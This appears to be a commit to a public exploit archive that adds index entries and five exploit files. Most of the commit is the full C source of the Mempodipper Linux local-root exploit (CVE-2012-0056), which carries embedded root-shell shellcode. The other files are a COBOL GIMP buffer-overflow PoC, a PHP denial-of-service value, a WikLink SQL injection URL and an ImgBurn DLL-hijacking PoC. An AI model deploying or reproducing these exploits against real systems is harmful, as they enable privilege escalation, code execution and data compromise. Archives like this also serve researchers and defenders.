Updated 11_07_2014
This commit is contained in:
parent
ffc4f99bcc
commit
025d2b1b6e
6 changed files with 495 additions and 0 deletions
|
@ -31669,3 +31669,8 @@ id,file,description,date,author,platform,type,port
|
||||||
35156,platforms/php/webapps/35156.txt,"Coppermine Photo Gallery 1.5.10 help.php Multiple Parameter XSS",2010-12-28,waraxe,php,webapps,0
|
35156,platforms/php/webapps/35156.txt,"Coppermine Photo Gallery 1.5.10 help.php Multiple Parameter XSS",2010-12-28,waraxe,php,webapps,0
|
||||||
35157,platforms/php/webapps/35157.html,"Coppermine Photo Gallery 1.5.10 searchnew.php picfile_* Parameter XSS",2010-12-28,waraxe,php,webapps,0
|
35157,platforms/php/webapps/35157.html,"Coppermine Photo Gallery 1.5.10 searchnew.php picfile_* Parameter XSS",2010-12-28,waraxe,php,webapps,0
|
||||||
35158,platforms/windows/dos/35158.py,"Mongoose 2.11 'Content-Length' HTTP Header Remote Denial Of Service Vulnerability",2010-12-27,JohnLeitch,windows,dos,0
|
35158,platforms/windows/dos/35158.py,"Mongoose 2.11 'Content-Length' HTTP Header Remote Denial Of Service Vulnerability",2010-12-27,JohnLeitch,windows,dos,0
|
||||||
|
35161,platforms/linux/local/35161.txt,"Linux Local Root => 2.6.39 (32-bit & 64-bit) - Mempodipper #2",2012-01-12,zx2c4,linux,local,0
|
||||||
|
35162,platforms/linux/dos/35162.cob,"GIMP <= 2.6.7 Multiple File Plugins Remote Stack Buffer Overflow Vulnerabilities",2010-12-31,"non customers",linux,dos,0
|
||||||
|
35163,platforms/windows/dos/35163.c,"ImgBurn 2.4 'dwmapi.dll' DLL Loading Arbitrary Code Execution Vulnerability",2011-01-01,d3c0der,windows,dos,0
|
||||||
|
35164,platforms/php/dos/35164.php,"PHP <= 5.3.2 'zend_strtod()' Function Floating-Point Value Denial of Service Vulnerability",2011-01-03,"Rick Regan",php,dos,0
|
||||||
|
35165,platforms/php/webapps/35165.txt,"WikLink 0.1.3 'getURL.php' SQL Injection Vulnerability",2011-01-05,"Aliaksandr Hartsuyeu",php,webapps,0
|
||||||
|
|
Can't render this file because it is too large.
|
162
platforms/linux/dos/35162.cob
Executable file
162
platforms/linux/dos/35162.cob
Executable file
|
@ -0,0 +1,162 @@
|
||||||
|
source: http://www.securityfocus.com/bid/45647/info
|
||||||
|
|
||||||
|
GIMP is prone to multiple remote stack-based buffer-overflow vulnerabilities because it fails to perform adequate checks on user-supplied input.
|
||||||
|
|
||||||
|
Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
|
||||||
|
|
||||||
|
GIMP 2.6.11 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
000010 IDENTIFICATION DIVISION.
|
||||||
|
000020 PROGRAM-ID. GIMP-OVERFLOWS-POC-IN-COBOL.
|
||||||
|
000030 AUTHOR. NON-CUSTOMERS CREW.
|
||||||
|
000040*SHOE SIZE DECLARATION. 43.
|
||||||
|
000050
|
||||||
|
000060 ENVIRONMENT DIVISION.
|
||||||
|
000070 INPUT-OUTPUT SECTION.
|
||||||
|
000080 FILE-CONTROL.
|
||||||
|
000090 SELECT FILE01 ASSIGN TO "GIMP01.LIGHTINGPRESETS"
|
||||||
|
000100 ORGANIZATION IS LINE SEQUENTIAL.
|
||||||
|
000110 SELECT FILE02 ASSIGN TO "GIMP02.SPHEREDESIGNER"
|
||||||
|
000120 ORGANIZATION IS LINE SEQUENTIAL.
|
||||||
|
000130 SELECT FILE03 ASSIGN TO "GIMP03.GFIG"
|
||||||
|
000140 ORGANIZATION IS LINE SEQUENTIAL.
|
||||||
|
000150* FOR THE 4TH OVERFLOW, SEE BELOW.
|
||||||
|
000160
|
||||||
|
000170 DATA DIVISION.
|
||||||
|
000180 FILE SECTION.
|
||||||
|
000190 FD FILE01.
|
||||||
|
000200 01 PRINTLINE PIC X(800).
|
||||||
|
000210 FD FILE02.
|
||||||
|
000220 01 QRINTLINE PIC X(800).
|
||||||
|
000230 FD FILE03.
|
||||||
|
000240 01 RRINTLINE PIC X(800).
|
||||||
|
000250
|
||||||
|
000260 WORKING-STORAGE SECTION.
|
||||||
|
000270 01 TEXT-OUT1 PIC X(29) VALUE 'Number of lights: 1'.
|
||||||
|
000280 01 TEXT-OUT2 PIC X(29) VALUE 'Type: Point'.
|
||||||
|
000290 01 TEXT-OUT3 PIC X(29) VALUE 'Position: A'.
|
||||||
|
000300 01 TEXT-OUT4 PIC X(29) VALUE 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
|
||||||
|
000310 01 TEXT-OUT5 PIC X(29) VALUE ' -1 1'.
|
||||||
|
000320 01 TEXT-OUT6 PIC X(29) VALUE 'Direction: -1 -1 1'.
|
||||||
|
000330 01 TEXT-OUT7 PIC X(29) VALUE 'Color: 1 1 1'.
|
||||||
|
000340 01 TEXT-OUT8 PIC X(29) VALUE 'Intensity: 1'.
|
||||||
|
000350 01 TEXU-OUT1 PIC X(29) VALUE '0 0 A'.
|
||||||
|
000360 01 TEXU-OUT2 PIC X(29) VALUE 'A 1 1 1 0 0 0 1 1 0 1 1 1 1 1'.
|
||||||
|
000370 01 TEXU-OUT3 PIC X(29) VALUE '0 0 0 0 0 0 0'.
|
||||||
|
000380 01 TEXV-OUT1 PIC X(29) VALUE 'GFIG Version 0.2'.
|
||||||
|
000390 01 TEXV-OUT2 PIC X(29) VALUE 'Name: First\040Gfig'.
|
||||||
|
000400 01 TEXV-OUT3 PIC X(29) VALUE 'Version: 0.000000'.
|
||||||
|
000410 01 TEXV-OUT4 PIC X(29) VALUE 'ObjCount: 0'.
|
||||||
|
000420 01 TEXV-OUT5 PIC X(29) VALUE '<OPTIONS>'.
|
||||||
|
000430 01 TEXV-OUT6 PIC X(29) VALUE 'GridSpacing: 30'.
|
||||||
|
000440 01 TEXV-OUT7 PIC X(29) VALUE 'GridType: RECT_GRID'.
|
||||||
|
000450 01 TEXV-OUT8 PIC X(29) VALUE 'DrawGrid: FALSE'.
|
||||||
|
000460 01 TEXV-OUT9 PIC X(29) VALUE 'Snap2Grid: FALSE'.
|
||||||
|
000470 01 TEXV-OUTA PIC X(29) VALUE 'LockOnGrid: FALSE'.
|
||||||
|
000480 01 TEXV-OUTB PIC X(29) VALUE 'ShowControl: TRUE'.
|
||||||
|
000490 01 TEXV-OUTC PIC X(29) VALUE '</OPTIONS>'.
|
||||||
|
000500 01 TEXV-OUTD PIC X(29) VALUE '<Style Base>'.
|
||||||
|
000510 01 TEXV-OUTE PIC X(29) VALUE 'BrushName: Circle (11)'.
|
||||||
|
000520 01 TEXV-OUTF PIC X(29) VALUE 'PaintType: 1'.
|
||||||
|
000530 01 TEXV-OUTG PIC X(29) VALUE 'FillType: 0'.
|
||||||
|
000540 01 TEXV-OUTH PIC X(29) VALUE 'FillOpacity: 100'.
|
||||||
|
000550 01 TEXV-OUTI PIC X(29) VALUE 'Pattern: Pine'.
|
||||||
|
000560 01 TEXV-OUTJ PIC X(29) VALUE 'Gradient: FG to BG (RGB)'.
|
||||||
|
000570 01 TEXV-OUTK PIC X(29) VALUE 'Foreground: A'.
|
||||||
|
000580 01 TEXV-OUTL PIC X(29) VALUE 'AA 0 0 1'.
|
||||||
|
000590 01 TEXV-OUTM PIC X(29) VALUE 'Background: 1 1 1 1'.
|
||||||
|
000600 01 TEXV-OUTN PIC X(29) VALUE '</Style>'.
|
||||||
|
000610
|
||||||
|
000620 PROCEDURE DIVISION.
|
||||||
|
000630 MAIN-PARAGRAPH.
|
||||||
|
000640* 1. FILTERS > LIGHT AND SHADOW > LIGHTING EFFECTS > LIGHT > OPEN
|
||||||
|
000650 OPEN OUTPUT FILE01.
|
||||||
|
000660 WRITE PRINTLINE FROM TEXT-OUT1.
|
||||||
|
000670 WRITE PRINTLINE FROM TEXT-OUT2.
|
||||||
|
000680 WRITE PRINTLINE FROM TEXT-OUT3 AFTER ADVANCING 0 LINES.
|
||||||
|
000690 WRITE PRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000700 WRITE PRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000710 WRITE PRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000720 WRITE PRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000730 WRITE PRINTLINE FROM TEXT-OUT5.
|
||||||
|
000740 WRITE PRINTLINE FROM TEXT-OUT6.
|
||||||
|
000750 WRITE PRINTLINE FROM TEXT-OUT7.
|
||||||
|
000760 WRITE PRINTLINE FROM TEXT-OUT8.
|
||||||
|
000770 CLOSE FILE01.
|
||||||
|
000780
|
||||||
|
000790* 2. FILTERS > RENDER > SPHERE DESIGNER > OPEN
|
||||||
|
000800 OPEN OUTPUT FILE02.
|
||||||
|
000810 WRITE QRINTLINE FROM TEXU-OUT1 AFTER ADVANCING 0 LINES.
|
||||||
|
000820 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000830 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000840 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000850 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000860 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000870 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000880 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000890 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000900 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000910 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000920 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000930 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000940 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000950 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000960 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000970 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000980 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
000990 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001000 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001010 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001020 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001030 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001040 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001050 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001060 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001070 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001080 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001090 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001100 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001110 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001120 WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001130 WRITE QRINTLINE FROM TEXU-OUT2 AFTER ADVANCING 0 LINES.
|
||||||
|
001140 WRITE QRINTLINE FROM TEXU-OUT3.
|
||||||
|
001150 CLOSE FILE02.
|
||||||
|
001160
|
||||||
|
001170* 3. FILTERS > RENDER > GFIG > FILE > OPEN
|
||||||
|
001180 OPEN OUTPUT FILE03.
|
||||||
|
001190 WRITE RRINTLINE FROM TEXV-OUT1.
|
||||||
|
001200 WRITE RRINTLINE FROM TEXV-OUT2.
|
||||||
|
001210 WRITE RRINTLINE FROM TEXV-OUT3.
|
||||||
|
001220 WRITE RRINTLINE FROM TEXV-OUT4.
|
||||||
|
001230 WRITE RRINTLINE FROM TEXV-OUT5.
|
||||||
|
001240 WRITE RRINTLINE FROM TEXV-OUT6.
|
||||||
|
001250 WRITE RRINTLINE FROM TEXV-OUT7.
|
||||||
|
001260 WRITE RRINTLINE FROM TEXV-OUT8.
|
||||||
|
001270 WRITE RRINTLINE FROM TEXV-OUT9.
|
||||||
|
001280 WRITE RRINTLINE FROM TEXV-OUTA.
|
||||||
|
001290 WRITE RRINTLINE FROM TEXV-OUTB.
|
||||||
|
001300 WRITE RRINTLINE FROM TEXV-OUTC.
|
||||||
|
001310 WRITE RRINTLINE FROM TEXV-OUTD.
|
||||||
|
001320 WRITE RRINTLINE FROM TEXV-OUTE.
|
||||||
|
001330 WRITE RRINTLINE FROM TEXV-OUTF.
|
||||||
|
001340 WRITE RRINTLINE FROM TEXV-OUTG.
|
||||||
|
001350 WRITE RRINTLINE FROM TEXV-OUTH.
|
||||||
|
001360 WRITE RRINTLINE FROM TEXV-OUTI.
|
||||||
|
001370 WRITE RRINTLINE FROM TEXV-OUTJ.
|
||||||
|
001380 WRITE RRINTLINE FROM TEXV-OUTK AFTER ADVANCING 0 LINES.
|
||||||
|
001390 WRITE RRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001400 WRITE RRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001410 WRITE RRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
|
||||||
|
001420 WRITE RRINTLINE FROM TEXV-OUTL.
|
||||||
|
001430 WRITE RRINTLINE FROM TEXV-OUTM.
|
||||||
|
001440 WRITE RRINTLINE FROM TEXV-OUTN.
|
||||||
|
001450 CLOSE FILE03.
|
||||||
|
001460
|
||||||
|
001470* 4. THE FUNCTION "read_channel_data()" IN plug-ins/common/file-psp.c HAS AN
|
||||||
|
001480* OVERFLOW WHEN HANDLING PSP_COMP_RLE TYPE FILES. A MALICIOUS FILE THAT
|
||||||
|
001490* STARTS A LONG RUNCOUNT AT THE END OF AN IMAGE WILL WRITE OUTSIDE OF
|
||||||
|
001500* ALLOCATED MEMORY. WE DON'T HAVE A POC FOR THIS BUG.
|
||||||
|
001510
|
||||||
|
001520* HAPPY NEW YEAR!!! http://rock-madrid.com/
|
||||||
|
001530
|
||||||
|
001540 STOP RUN.
|
291
platforms/linux/local/35161.txt
Executable file
291
platforms/linux/local/35161.txt
Executable file
|
@ -0,0 +1,291 @@
|
||||||
|
/*Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
|
||||||
|
Blog post about it is here: http://blog.zx2c4.com/749
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Mempodipper
|
||||||
|
* by zx2c4
|
||||||
|
*
|
||||||
|
* Linux Local Root Exploit
|
||||||
|
*
|
||||||
|
* Rather than put my write up here, per usual, this time I've put it
|
||||||
|
* in a rather lengthy blog post: http://blog.zx2c4.com/749
|
||||||
|
*
|
||||||
|
* Enjoy.
|
||||||
|
*
|
||||||
|
* - zx2c4
|
||||||
|
* Jan 21, 2012
|
||||||
|
*
|
||||||
|
* CVE-2012-0056
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define _LARGEFILE64_SOURCE
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/un.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/user.h>
|
||||||
|
#include <sys/ptrace.h>
|
||||||
|
#include <sys/reg.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <limits.h>
|
||||||
|
|
||||||
|
char *prog_name;
|
||||||
|
|
||||||
|
int send_fd(int sock, int fd)
|
||||||
|
{
|
||||||
|
char buf[1];
|
||||||
|
struct iovec iov;
|
||||||
|
struct msghdr msg;
|
||||||
|
struct cmsghdr *cmsg;
|
||||||
|
int n;
|
||||||
|
char cms[CMSG_SPACE(sizeof(int))];
|
||||||
|
|
||||||
|
buf[0] = 0;
|
||||||
|
iov.iov_base = buf;
|
||||||
|
iov.iov_len = 1;
|
||||||
|
|
||||||
|
memset(&msg, 0, sizeof msg);
|
||||||
|
msg.msg_iov = &iov;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
msg.msg_control = (caddr_t)cms;
|
||||||
|
msg.msg_controllen = CMSG_LEN(sizeof(int));
|
||||||
|
|
||||||
|
cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
|
||||||
|
cmsg->cmsg_level = SOL_SOCKET;
|
||||||
|
cmsg->cmsg_type = SCM_RIGHTS;
|
||||||
|
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
|
||||||
|
|
||||||
|
if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
|
||||||
|
return -1;
|
||||||
|
close(sock);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int recv_fd(int sock)
|
||||||
|
{
|
||||||
|
int n;
|
||||||
|
int fd;
|
||||||
|
char buf[1];
|
||||||
|
struct iovec iov;
|
||||||
|
struct msghdr msg;
|
||||||
|
struct cmsghdr *cmsg;
|
||||||
|
char cms[CMSG_SPACE(sizeof(int))];
|
||||||
|
|
||||||
|
iov.iov_base = buf;
|
||||||
|
iov.iov_len = 1;
|
||||||
|
|
||||||
|
memset(&msg, 0, sizeof msg);
|
||||||
|
msg.msg_name = 0;
|
||||||
|
msg.msg_namelen = 0;
|
||||||
|
msg.msg_iov = &iov;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
|
||||||
|
msg.msg_control = (caddr_t)cms;
|
||||||
|
msg.msg_controllen = sizeof cms;
|
||||||
|
|
||||||
|
if ((n = recvmsg(sock, &msg, 0)) < 0)
|
||||||
|
return -1;
|
||||||
|
if (n == 0)
|
||||||
|
return -1;
|
||||||
|
cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
|
||||||
|
close(sock);
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned long ptrace_address()
|
||||||
|
{
|
||||||
|
int fd[2];
|
||||||
|
printf("[+] Creating ptrace pipe.\n");
|
||||||
|
pipe(fd);
|
||||||
|
fcntl(fd[0], F_SETFL, O_NONBLOCK);
|
||||||
|
|
||||||
|
printf("[+] Forking ptrace child.\n");
|
||||||
|
int child = fork();
|
||||||
|
if (child) {
|
||||||
|
close(fd[1]);
|
||||||
|
char buf;
|
||||||
|
printf("[+] Waiting for ptraced child to give output on syscalls.\n");
|
||||||
|
for (;;) {
|
||||||
|
wait(NULL);
|
||||||
|
if (read(fd[0], &buf, 1) > 0)
|
||||||
|
break;
|
||||||
|
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[+] Error message written. Single stepping to find address.\n");
|
||||||
|
struct user_regs_struct regs;
|
||||||
|
for (;;) {
|
||||||
|
ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
|
||||||
|
wait(NULL);
|
||||||
|
ptrace(PTRACE_GETREGS, child, NULL, ®s);
|
||||||
|
#if defined(__i386__)
|
||||||
|
#define instruction_pointer regs.eip
|
||||||
|
#define upper_bound 0xb0000000
|
||||||
|
#elif defined(__x86_64__)
|
||||||
|
#define instruction_pointer regs.rip
|
||||||
|
#define upper_bound 0x700000000000
|
||||||
|
#else
|
||||||
|
#error "That platform is not supported."
|
||||||
|
#endif
|
||||||
|
if (instruction_pointer < upper_bound) {
|
||||||
|
unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
|
||||||
|
if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
|
||||||
|
return instruction_pointer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
printf("[+] Ptrace_traceme'ing process.\n");
|
||||||
|
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
|
||||||
|
perror("[-] ptrace");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
close(fd[0]);
|
||||||
|
dup2(fd[1], 2);
|
||||||
|
execl("/bin/su", "su", "not-a-valid-user", NULL);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned long objdump_address()
|
||||||
|
{
|
||||||
|
FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
|
||||||
|
if (!command) {
|
||||||
|
perror("[-] popen");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
char result[32];
|
||||||
|
fgets(result, 32, command);
|
||||||
|
pclose(command);
|
||||||
|
return strtoul(result, NULL, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned long find_address()
|
||||||
|
{
|
||||||
|
printf("[+] Ptracing su to find next instruction without reading binary.\n");
|
||||||
|
unsigned long address = ptrace_address();
|
||||||
|
if (!address) {
|
||||||
|
printf("[-] Ptrace failed.\n");
|
||||||
|
printf("[+] Reading su binary with objdump to find exit@plt.\n");
|
||||||
|
address = objdump_address();
|
||||||
|
if (address == ULONG_MAX || !address) {
|
||||||
|
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
|
||||||
|
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
printf("[+] Resolved call address to 0x%lx.\n", address);
|
||||||
|
return address;
|
||||||
|
}
|
||||||
|
|
||||||
|
int su_padding()
|
||||||
|
{
|
||||||
|
printf("[+] Calculating su padding.\n");
|
||||||
|
FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
|
||||||
|
if (!command) {
|
||||||
|
perror("[-] popen");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
char result[256];
|
||||||
|
fgets(result, 256, command);
|
||||||
|
pclose(command);
|
||||||
|
return strstr(result, "this-user-does-not-exist") - result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int child(int sock)
|
||||||
|
{
|
||||||
|
char parent_mem[256];
|
||||||
|
sprintf(parent_mem, "/proc/%d/mem", getppid());
|
||||||
|
printf("[+] Opening parent mem %s in child.\n", parent_mem);
|
||||||
|
int fd = open(parent_mem, O_RDWR);
|
||||||
|
if (fd < 0) {
|
||||||
|
perror("[-] open");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("[+] Sending fd %d to parent.\n", fd);
|
||||||
|
send_fd(sock, fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int parent(unsigned long address)
|
||||||
|
{
|
||||||
|
int sockets[2];
|
||||||
|
printf("[+] Opening socketpair.\n");
|
||||||
|
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
|
||||||
|
perror("[-] socketpair");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (fork()) {
|
||||||
|
printf("[+] Waiting for transferred fd in parent.\n");
|
||||||
|
int fd = recv_fd(sockets[1]);
|
||||||
|
printf("[+] Received fd at %d.\n", fd);
|
||||||
|
if (fd < 0) {
|
||||||
|
perror("[-] recv_fd");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("[+] Assigning fd %d to stderr.\n", fd);
|
||||||
|
dup2(2, 15);
|
||||||
|
dup2(fd, 2);
|
||||||
|
|
||||||
|
unsigned long offset = address - su_padding();
|
||||||
|
printf("[+] Seeking to offset 0x%lx.\n", offset);
|
||||||
|
lseek64(fd, offset, SEEK_SET);
|
||||||
|
|
||||||
|
#if defined(__i386__)
|
||||||
|
// See shellcode-32.s in this package for the source.
|
||||||
|
char shellcode[] =
|
||||||
|
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
|
||||||
|
"\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
|
||||||
|
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
|
||||||
|
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
|
||||||
|
"\x80";
|
||||||
|
#elif defined(__x86_64__)
|
||||||
|
// See shellcode-64.s in this package for the source.
|
||||||
|
char shellcode[] =
|
||||||
|
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
|
||||||
|
"\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
|
||||||
|
"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
|
||||||
|
"\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
|
||||||
|
"\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
|
||||||
|
#else
|
||||||
|
#error "That platform is not supported."
|
||||||
|
#endif
|
||||||
|
printf("[+] Executing su with shellcode.\n");
|
||||||
|
execl("/bin/su", "su", shellcode, NULL);
|
||||||
|
} else {
|
||||||
|
char sock[32];
|
||||||
|
sprintf(sock, "%d", sockets[0]);
|
||||||
|
printf("[+] Executing child from child fork.\n");
|
||||||
|
execl("/proc/self/exe", prog_name, "-c", sock, NULL);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
prog_name = argv[0];
|
||||||
|
|
||||||
|
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
|
||||||
|
return child(atoi(argv[2]));
|
||||||
|
|
||||||
|
printf("===============================\n");
|
||||||
|
printf("= Mempodipper =\n");
|
||||||
|
printf("= by zx2c4 =\n");
|
||||||
|
printf("= Jan 21, 2012 =\n");
|
||||||
|
printf("===============================\n\n");
|
||||||
|
|
||||||
|
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
|
||||||
|
return parent(strtoul(argv[2], NULL, 16));
|
||||||
|
else
|
||||||
|
return parent(find_address());
|
||||||
|
|
||||||
|
}
|
9
platforms/php/dos/35164.php
Executable file
9
platforms/php/dos/35164.php
Executable file
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/45668/info
|
||||||
|
|
||||||
|
PHP is prone to a remote denial-of-service vulnerability.
|
||||||
|
|
||||||
|
Successful attacks will cause applications written in PHP to hang, creating a denial-of-service condition.
|
||||||
|
|
||||||
|
PHP 5.3.3 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
<?php $d = 2.2250738585072011e-308; ?>
|
9
platforms/php/webapps/35165.txt
Executable file
9
platforms/php/webapps/35165.txt
Executable file
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/45673/info
|
||||||
|
|
||||||
|
WikLink is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
|
||||||
|
|
||||||
|
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
WikLink 0.1.3 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/wiklink/getURL.php?id=-1' union select 1111/*
|
19
platforms/windows/dos/35163.c
Executable file
19
platforms/windows/dos/35163.c
Executable file
|
@ -0,0 +1,19 @@
|
||||||
|
source: http://www.securityfocus.com/bid/45657/info
|
||||||
|
|
||||||
|
ImgBurn is prone to an arbitrary-code-execution vulnerability.
|
||||||
|
|
||||||
|
An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.
|
||||||
|
|
||||||
|
ImgBurn 2.4.0.0 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#define DllExport __declspec (dllexport)
|
||||||
|
DllExport void DwmSetWindowAttribute() { egg(); }
|
||||||
|
|
||||||
|
int egg()
|
||||||
|
{
|
||||||
|
system ("calc");
|
||||||
|
exit(0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
Loading…
Add table
Reference in a new issue